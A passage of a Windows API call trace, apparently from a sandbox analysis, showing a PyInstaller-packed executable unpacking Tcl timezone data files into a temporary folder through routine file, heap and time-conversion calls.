0x0 [0043.087] SetLastError (dwErrCode=0x0) [0043.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.087] GetFileType (hFile=0x10c) returned 0x1 [0043.087] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.087] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.087] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.087] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.087] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.087] CloseHandle (hObject=0x10c) returned 1 [0043.088] GetLastError () returned 0x0 [0043.088] SetLastError (dwErrCode=0x0) [0043.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chatham") returned 72 [0043.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chatham" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\chatham"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.088] GetLastError () returned 0x2 [0043.088] SetLastError (dwErrCode=0x2) [0043.088] GetLastError () returned 0x2 [0043.088] SetLastError (dwErrCode=0x2) [0043.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chatham", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chatham", lpFilePart=0x0) returned 0x47 [0043.088] GetLastError () returned 0x2 [0043.088] SetLastError (dwErrCode=0x2) [0043.088] GetLastError () returned 0x2 [0043.088] SetLastError (dwErrCode=0x2) [0043.088] GetLastError () returned 0x2 [0043.088] SetLastError (dwErrCode=0x2) [0043.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chatham") returned 72 [0043.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chatham" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\chatham"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.088] GetFileType (hFile=0x10c) returned 0x1 [0043.088] htonl (hostlong=0xc31e0000) returned 0x1ec3 [0043.088] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.089] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xec3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xec3, lpOverlapped=0x0) returned 1 [0043.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.090] CloseHandle (hObject=0x10c) returned 1 [0043.090] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.090] htonl (hostlong=0x30000000) returned 0x30 [0043.090] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.090] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.091] GetFileType (hFile=0x10c) returned 0x1 [0043.091] htonl (hostlong=0x15065d00) returned 0x5d0615 [0043.091] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61b615, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.091] htonl (hostlong=0x8b000000) returned 0x8b [0043.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0043.091] htonl (hostlong=0x8b000000) returned 0x8b [0043.091] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.092] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.092] htonl (hostlong=0x92000000) returned 0x92 [0043.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x550600 [0043.092] htonl (hostlong=0x8b000000) returned 0x8b [0043.092] htonl (hostlong=0x92000000) returned 0x92 [0043.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.092] CloseHandle (hObject=0x10c) returned 1 [0043.092] GetLastError () returned 0x0 [0043.092] SetLastError (dwErrCode=0x0) [0043.092] GetLastError () returned 0x0 [0043.092] SetLastError (dwErrCode=0x0) [0043.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.092] GetFileType (hFile=0x10c) returned 0x1 [0043.092] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.093] CloseHandle (hObject=0x10c) returned 1 [0043.093] GetLastError () returned 0x0 [0043.093] SetLastError (dwErrCode=0x0) [0043.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.093] GetFileType (hFile=0x10c) returned 0x1 [0043.093] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.093] CloseHandle (hObject=0x10c) returned 1 [0043.094] GetLastError () returned 0x0 [0043.094] SetLastError (dwErrCode=0x0) [0043.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.094] GetFileType (hFile=0x10c) returned 0x1 [0043.094] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.094] CloseHandle (hObject=0x10c) returned 1 [0043.094] GetLastError () returned 0x0 [0043.094] SetLastError (dwErrCode=0x0) [0043.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chuuk") returned 70 [0043.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chuuk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\chuuk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.094] GetLastError () returned 0x2 [0043.094] SetLastError (dwErrCode=0x2) [0043.094] GetLastError () returned 0x2 [0043.094] SetLastError (dwErrCode=0x2) [0043.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chuuk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chuuk", lpFilePart=0x0) returned 0x45 [0043.094] GetLastError () returned 0x2 [0043.095] SetLastError (dwErrCode=0x2) [0043.095] GetLastError () returned 0x2 [0043.095] SetLastError (dwErrCode=0x2) [0043.095] GetLastError () returned 0x2 [0043.095] SetLastError (dwErrCode=0x2) [0043.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chuuk") returned 70 [0043.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Chuuk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\chuuk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.095] GetFileType (hFile=0x10c) returned 0x1 [0043.095] htonl (hostlong=0x92000000) returned 0x92 [0043.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.095] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x92, lpOverlapped=0x0) returned 1 [0043.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.096] CloseHandle (hObject=0x10c) returned 1 [0043.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.096] htonl (hostlong=0x30000000) returned 0x30 [0043.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.096] GetFileType (hFile=0x10c) returned 0x1 [0043.096] htonl (hostlong=0xa0065d00) returned 0x5d06a0 [0043.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61b6a0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.096] htonl (hostlong=0x54060000) returned 0x654 [0043.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x654) returned 0x550600 [0043.097] htonl (hostlong=0x54060000) returned 0x654 [0043.097] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.097] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.097] htonl (hostlong=0x65210000) returned 0x2165 [0043.097] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2165) returned 0x561090 [0043.097] htonl (hostlong=0x54060000) returned 0x654 [0043.097] htonl (hostlong=0x65210000) returned 0x2165 [0043.097] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563200 [0043.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563200 | out: hHeap=0x530000) returned 1 [0043.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.097] CloseHandle (hObject=0x10c) returned 1 [0043.097] GetLastError () returned 0x0 [0043.097] SetLastError (dwErrCode=0x0) [0043.097] GetLastError () returned 0x0 [0043.097] SetLastError (dwErrCode=0x0) [0043.097] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.097] GetFileType (hFile=0x10c) returned 0x1 [0043.097] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.097] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.097] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.097] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.098] CloseHandle (hObject=0x10c) returned 1 [0043.098] GetLastError () returned 0x0 [0043.098] SetLastError (dwErrCode=0x0) [0043.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.098] GetFileType (hFile=0x10c) returned 0x1 [0043.098] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.098] CloseHandle (hObject=0x10c) returned 1 [0043.098] GetLastError () returned 0x0 [0043.098] SetLastError (dwErrCode=0x0) [0043.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.099] GetFileType (hFile=0x10c) returned 0x1 [0043.099] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.099] FileTimeToSystemTime (in: 